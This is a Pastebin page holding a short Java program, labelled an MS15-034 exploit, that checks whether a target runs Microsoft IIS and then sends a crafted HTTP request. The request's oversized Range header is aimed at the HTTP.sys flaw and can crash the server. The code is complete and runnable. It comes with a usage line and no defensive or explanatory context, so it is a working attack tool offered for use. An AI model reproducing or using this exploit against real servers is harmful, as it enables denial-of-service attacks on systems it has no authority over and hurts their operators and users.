Advertisement
8thbit

MS15-034 JAVA EXPLOIT

Apr 19th, 2015
465
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 1.98 KB | None | 0 0
  1. /*
  2. Exploit By Mr.8ThBiT
  3.  */
  4. package net.x8thbit.exploits;
  5.  
  6. import java.io.BufferedReader;
  7. import java.io.IOException;
  8. import java.io.InputStreamReader;
  9. import java.io.PrintWriter;
  10. import java.net.InetAddress;
  11. import java.net.Socket;
  12.  
  13. /**
  14.  *
  15.  * @author 8ThBiT
  16.  */
  17. public class ms15034 {
  18.     static String ip;
  19.     public static void main(String[] args) {
  20.         if (args.length < 2){
  21.             System.out.println("Usage : MS15-034.jar 127.0.0.1 /index.htm");
  22.             System.exit(1);
  23.         }
  24.         ip = args[0];
  25.         String file = args[1];
  26.         String Result = SendPacket("GET / HTTP/1.0\r\n\r\n");
  27.         if(!Result.contains("Microsoft-IIS")){
  28.             System.out.println("it's not IIS Server");
  29.             System.exit(1);
  30.         }
  31.         System.out.println("IIS Server Found");
  32.         System.out.println("Sending Payload");
  33.         Result = null ;
  34.         String Packet1 = "GET " +file + " HTTP/1.1\r\nHost: irrelevent\r\nRange: bytes=18-18446744073709551615\r\n\r\n";
  35.         String Result1 = SendPacket(Packet1);
  36.         System.out.println("Payload has been sent");
  37.     }
  38.     private static String SendPacket(String Packet){
  39.         Socket client = null;
  40.         try{
  41.             client = new Socket(InetAddress.getByName(ip), 80);          
  42.         }catch(IOException e ){
  43.             System.out.println("Unknown Host");
  44.             System.exit(1);
  45.         }
  46.         try{
  47.             PrintWriter pw = new PrintWriter(client.getOutputStream());
  48.             pw.print(Packet);
  49.             pw.flush();
  50.             BufferedReader br = new BufferedReader(new InputStreamReader(client.getInputStream()));
  51.             String t;
  52.             String Page = "" ;
  53.             while((t = br.readLine()) != null){
  54.                 Page += t;
  55.             }
  56.             br.close();
  57.             return Page;
  58.         }catch(IOException e){
  59.             System.out.println(e.getMessage());
  60.             System.exit(1);
  61.             return "" ;
  62.         }
  63.     }
  64. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement